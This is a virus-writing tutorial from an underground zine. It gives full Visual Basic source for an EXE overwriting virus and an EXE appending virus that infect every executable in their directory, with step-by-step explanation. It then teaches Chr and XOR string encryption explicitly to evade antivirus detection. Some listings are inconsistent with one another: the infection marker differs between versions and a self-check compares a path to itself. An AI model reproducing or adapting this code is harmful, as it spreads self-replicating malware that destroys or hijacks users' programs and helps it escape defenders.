VB Virus Tutorial
by [PAIN]
for LineZero Zine #2

---

Part #1
Intro to VB viruses

Many of you people out there will stop reading this article just by the title of it. Most asm coders are really prejudiced against High Level Language viruses and especially Visual Basic ones. Here I guess I would have to greet Murkry for writting the first ever parasitic VB virus. After that I learned many stuff and used some methods of my own which I will teach you through this series of tutorials.

The only reason why I even started writting VB viruses was that I was a macro coder and I wanted to try exe infection. This was my first contact with exe infection. VB viruses have one b i g flow. That is their size. As you all know they are big and that is something we don't want in a virus is it? To solve this problem we could use variables for oftenly used string to shorten the code but that isn't much help so we have to accept the size as a flow and try to find many tricks to make it as hard to detect as possible. Another problem of VB viruses is that they need dlls to run(!) not a thing we want for a virus. Besides this is why I started learning asm. VB viruses are for educational purposes only.

You can use encryption for VB viruses as well. I have used character encryption ( used in macro viruses, first used by VicodinES ) and it worked succesfully. Now I am trying to find other methods of encryption especially for VB viruses and you will see the results in later issues of this series.

For any comments and/or suggestions e-mail me at [PAiN]@cypria.com

From [PAiN] (formally known as PhreakX).

part #2
EXE Overwritters

I know that overwritters suck, they have no chance of spreading and they are not " intelligent " viruses. Dispite all this overwritters can help you understand the basics of the REAL viruses. I will give you the code first and then I will go over it.

 Option Explicit
 Dim myarray() As Byte
 Dim victim As String
 Const mysize As Integer = 11776

 Private Sub Form_Load()
 On Error Resume Next
 Dim Free
 Free = FreeFile

 Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
 ReDim myarray(mysize)
 Get #1, 1, myarray
 Close #Free

 victim = Dir(App.Path & "\" & "*.EXE")
 While victim <> ""

 Open App.Path & "\" & victim For Binary Access Write As #Free
 Put #1, , myarray
 Put #1, , mysize
 Close #Free

 victim = Dir()

 Wend

 End
 End Sub

Now lets go over it part by part:

 Option Explicit
 Dim myarray() As Byte
 Dim victim As String
 Const mysize As Integer = 11776

Here we define the variables that we will use, the " myarray() " variable holds tha binary code of the virus, the "victim" variable holds the victim file's name and the "mysize" variable holds the size of the virus.

 Private Sub Form_Load()
 On Error Resume Next

We open the sub we will use (Form_Load), and we put our error handle there.

 Dim Free
 Free = FreeFile

This is a good idea taken by the y2k virus. This will rid you of read/write errors because it will open free file.

 Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
 ReDim myarray(mysize)
 Get #1, 1, myarray
 Close #Free

Now we get the binary code out of our virus and we store it in the "myarray" variable.

 victim = Dir(App.Path & "\" & "*.EXE")
 While victim <> ""

 Open App.Path & "\" & victim For Binary Access Write As #Free
 Put #1, , myarray
 Put #1, , mysize
 Close #Free

Here we define the victim variable and we put our binary code in the victim program.

 victim = Dir()

 Wend

Then we set victim to nothing, and we repeat the whole process to infect all the .exe files in the current directory.

 End
 End Sub

And finally we close the program and the sub.

This was it ... as you can see overwritters are dead easy to write. In the next issue I will discuss appending viruses. For comments and/or questions e-mail me at [PAiN]@cypria.com

From [PAiN] (formally known as PhreakX).

part #3
EXE Appenders

Now we get to the real thing... the EXE appending viruses. This is a simple not encrypted appending virus without any payload.

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Cut here-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Option Explicit
Private victim As String
Private myarray() As Byte
Private varray As Byte
Private length As Long
Private chck As String

Const size As Integer = 18432 

Private iResult As Long
Private hProg As Long
Private idProg As Long
Private iExit As Long
Const STILL_ACTIVE As Long = &H103
Const PROCESS_ALL_ACCESS As Long = &H1F0FFF

Private Declare Function OpenProcess Lib "kernel32" _
 (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _
 ByVal dwProcessId As Long) As Long
Private Declare Function GetExitCodeProcess Lib "kernel32" _
 (ByVal hProcess As Long, lpExitCode As Long) As Long
Private Declare Function CloseHandle Lib "kernel32" _
 (ByVal hObject As Long) As Long

Private Sub Form_Load()

On Error Resume Next

Dim I As Long
Dim Free
Free = FreeFile
    
On Error GoTo Fin 

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
myarray = Space$(size)
Get #1, 1, myarray
Close #Free
        
victim = Dir(App.Path & "\" & "*.EXE")
While victim <> ""
          
' If the victim file, has the same directory and name as the file
' that is running - skip the next part
If LCase(App.Path & "\" & App.EXEName & ".exe") _
 <> LCase(App.Path & "\" & App.EXEName & ".exe") Then
                
Open Victim For Binary Access Read As #Free
varray = Space(LOF(Free)) ' Sets buffer up for the file data
Get #1, 1, varray         ' Copy th file data into a variable
Close #Free
                
chck = Mid(varray, Len(varray)) ' Store the last character in the
                                ' victim file in CheckX
                
If LCase(chck) <> "^" Then      ' if the character = X then the file has
                                ' already been infected, if not continue
                                                    
Open victim For Binary Access Write As #Free
Put #Free, 1, myarray      ' Place our code in the front of the file
Put #Free, size, varray    ' Follow it immediatley by the victims code
Put #Free, LOF(Free) + 1, "^" 'Place an X at the end to show it's been
                              'infected
Close #Free                   'Thats how this virus got it's name!
    
End If
Else
End If

Victim = Dir()              ' Find the next file to infect
Wend                        ' Go back to the start

Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
length = (LOF(Free) - size)  ' Store the length of the current file minus
                             ' the virus file size in the variable
If Length > 0 Then           ' if it's more than 0, the file is infected,
                             ' if not, this is the raw virus file
myarray = Space(length)      ' Create buffer in variable, for the size of
                             ' the file
Get #Free, size, myarray     ' Get the old host data from out of this file
Close #Free
    
Open App.Path & "\" & App.EXEName & ".tut" For Binary Access Write As #Free
Put #Free, , myarray        ' Place the old host data into a temporary file
Close #Free
        
idProg = Shell(App.Path & "\" & App.EXEName & ".tut", vbNormalFocus) 
' Run the old host code
hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)   
' Get it running application code number
GetExitCodeProcess hProg, iExit

Do While iExit = STILL_ACTIVE   ' Wait untill the program is shut down
DoEvents
GetExitCodeProcess hProg, iExit
Loop
On Error Resume Next
Kill App.Path & "\" & App.EXEName & ".tut"  ' Delete the old host code

Else
Close #Free
End If
End
Fin:
End Sub

-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-Cut here-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=

Now lets go over it part by part:

 Option Explicit
 Private victim As String
 Private myrray() As Byte
 Private varray As Byte
 Private length As Long
 Private chck As String
 Const size As Integer = 18432 

Here we define the variables that we will use, the " myarray() " variable holds tha binary code of the virus, the "victim" variable holds the victim file's name and the "mysize" variable holds the size of the virus. You will need to change the number to the size of your virus. The length variable holds the running file's length and the chck variable will be used to check if we have already infected the file.

 Private iResult As Long
 Private hProg As Long
 Private idProg As Long
 Private iExit As Long
 Const STILL_ACTIVE As Long = &H103
 Const PROCESS_ALL_ACCESS As Long = &H1F0FFF
 Private Declare Function OpenProcess Lib "kernel32" _
  (ByVal dwDesiredAccess As Long, ByVal bInheritHandle As Long, _
  ByVal dwProcessId As Long) As Long
 Private Declare Function GetExitCodeProcess Lib "kernel32" _
  (ByVal hProcess As Long, lpExitCode As Long) As Long
 Private Declare Function CloseHandle Lib "kernel32" _
  (ByVal hObject As Long) As Long

These are the variables, constants and declarations that we will use for process checking.

 Private Sub Form_Load()
 On Error Resume Next

We open the sub we will use (Form_Load), and we put our error handle there.

 Dim Free
 Free = FreeFile

This is a good idea taken by the y2k virus. This will rid you of read/write errors because it will open free file.

 On Error GoTo Fin

This is our error handler. If there is an error it will ignore all code and go to the Fin marker which is the end.

 Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
 myarray = Space$(size)
 Get #1, 1, myarray
 Close #Free

Now we get the binary code out of our virus and we store it in " myarray " variable.

 victim = Dir(App.Path & "\" & "*.EXE")
 While victim <> ""
          
 If LCase(App.Path & "\" & App.EXEName & ".exe") _
  <> LCase(App.Path & "\" & App.EXEName & ".exe") Then

If our victim file is the same as the one running, same directory and same name, we do not infect.

                
 Open Victim For Binary Access Read As #Free
 varray = Space(LOF(Free))
 Get #1, 1, varray
 Close #Free

We get the binary code from our victim file and store it in the varray variable.

   
 chck = Mid(varray, Len(varray))

We store the last character of the victim file in the chck variable for later use of infection checking.

 If LCase(chck) <> "t" Then

If the last character isn't " t " then it means that its not infected so continue.

                                                  
 Open victim For Binary Access Write As #Free
 Put #Free, 1, myarray
 Put #Free, size, varray
 Put #Free, LOF(Free) + 1, "t"
 Close #Free

 End If
 Else
 End If

Now we write our virus code first and then the original file code in the file and we also include the "t" character to mark it as infected.

 Victim = Dir()
 Wend

This find the next file to infect and redoes the whole routine.

 Open App.Path & "\" & App.EXEName & ".exe" For Binary Access Read As #Free
 length = (LOF(Free) - size)
 If Length > 0 Then
 myarray = Space(length)
 Get #Free, size, myarray
 Close #Free

Now we get the file's size minus the virus, if it isn't 0 it means that it is infected.

 Open App.Path & "\" & App.EXEName & ".tut" _
  For Binary Access Write As #Free
 Put #Free, , myarray ' Place the old host data into a temporary file
 Close #Free

We put the host data in a file we make. A temporary file.

 idProg = Shell(App.Path & "\" & App.EXEName & ".tut", vbNormalFocus)
 hProg = OpenProcess(PROCESS_ALL_ACCESS, False, idProg)
 GetExitCodeProcess hProg, iExit

Now we run the original host program.

 Do While iExit = STILL_ACTIVE   ' Wait untill the program is shut down
 DoEvents
 GetExitCodeProcess hProg, iExit
Loop

Wait for the program to be terminated.

 On Error Resume Next
 Kill App.Path & "\" & App.EXEName & ".tut"  ' Delete the old host code

 Else

 End If

 End

 Fin:

 End Sub

Now we delete the temporary file and then we close our sub.

For any comments and / or suggestions, even if it is bad e - mail me at [PAiN]@cypria.com.

From [PAiN] (formally known as PhreakX).

part #4
Encryption

(NOTE by Cicatrix:"Some of the code below was written in ASCII and does not translate to HTML correctly. Please refer to the LZO #2 zine for the correct version")

Now we get to a more interesting part of vb viruses, better for all viruses the encryption. You really don't want to make it easy for the AVs do you?? Here is where you will use encryption.

Currently I have only tried two kinds of encryption for vb viruses and they both work finely.

The first one is probably known to all macro coders, its character encryption, first used by VicodinES. This is easy to use and you can hide your text strings finely.

example of use:

Lets say that you have they payload of a messagebox:

MsgBox "This is my virus"

Now this text string is easier to spot than something like:

MsgBox Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(32) + Chr(105) + _ + Chr(115) + Chr(32) + Chr(109) + Chr(121) + Chr(32) + Chr(118) + _ + Chr(105) + Chr(114) + Chr(117) + Chr(115)

A common mistake people make when they use this is that they put the Chr's in speachmarks ("") and they get a messagebox containing Chr(84) + Chr(104) + Chr(105) + Chr(115) + Chr(32) + Chr(105) + Chr(115) + Chr(32) + Chr(109) + Chr(121) + Chr(32) + Chr(118) + Chr(105) + Chr(114) + Chr(117) + Chr(115) instead of, 'This is a virus.'

A good application you can use to quickly encrypt your text strings is by using VicodinES's string converter.

Now a more advanced encryption method is Xor encryption. This encryption function was written by jackie (http://coderz.net/jackie/). In order to use this encryption method you have to enter this function in your code:

 Private Function Decrypt_Encrypt(Text) As String
  XorKey = 133
  For EncryptDecryptLoop = 1 To Len(Text)
   Decrypt_Encrypt = Decrypt_Encrypt _
    & Chr(Asc(Mid(Text, EncryptDecryptLoop, 1)) Xor XorKey)
  Next
 End Function

Now to go back to our example with the messagebox:
MsgBox "This is a virus" will become,
MsgBox Decrypt_Encrypt("A?tä·tä·ö·átlâä")

As you can see a call to decrypt your code would be Decrypt_Encrypt
Another example of use would be:

 Print #1, Decrypt_Encrypt("ßnuur·rrluó") 

You can use it everywhere there are text strings. Also the Xor key can be whatever number between 0 - 255 you want it to be. In the function here I took it to be 133 but in my text strings I used another XorKey because its just an example.

A good program you could use to encrypt your strings is VB Crypt written by me. You can get it with the Lz0NT zine #2 with these articles.

For any good/bad comments/suggestions e-mail me at [PAiN]@cypria.com.

From [PAiN] with little help of jackie

Part #5
Credits/Greetz

Here are the people which inspired me and help me in writting these tutorials directly or indirectly.

---------------------------------------------------------------------------
				Credits
---------------------------------------------------------------------------

Murkry............. For writting the first ever parasitic VB virus
jackie............. For the Xor encryption function and all his help
the y2k author..... I don't know  you but your virus had some good ideas in
                    it which I used in  mine and I want to give  you credit
                    for them.

-----------------------------------------------------------------------------
				Greetz
-----------------------------------------------------------------------------

These names are in no specific order. I am sorry if I forgot anyone but I'm
only human.

Flitnic............ For being a friend and being there for me whenever I
                    needed him.
jackie............. For all the help and support.
[PaX].............. For being a great buddy.
[Clau]............. For the help in my first days when I couldn't code
                    anything.
Lord Arz........... For helping me with my word macro viruses.
Evul............... For being next to me.
Rhape79............ For accepting me into Ultimate Chaos even though I left
                    after some time. Thanks.
Ruzz............... For being such a good friend.
Roadkill........... For all the virus collecting help.
RAiD............... For being my motivation into virus writting. A HLL
                    coder who is afraid of nothing and leaves chaos behind
                    him.
Gigabyte........... For not killing me even though I give her a hard time=)
BSL4............... For helping me with hacking.
Ph0tek............. For trying to teach me how to hack.
Yozak.............. For being a friend and a great helper with my early 		    
viruses.
DCHacker........... For being a friend and for the RedHat cd =)
The_Might.......... A good friend
SiLVieR............ Who knows better football?? =)
VaMpGaL............ For being a good friend.
darkman............ For being a perverted little buddy
DX100h............. For your asm tutorials.
Tally.............. For being a really good friend
[Manu]............. For the good advices
Spyda.............. For all the help
Kamaileon.......... For being a friend
Reverant........... Thank you for the modivation in starting with asm
Veedee............. Your asm tuts are the best out there, write some more,
		    and thanks for the access in #vir.
To the whole VX scene... keep codin
To everybody I forgot or couldn't fit here. =)) I luv you all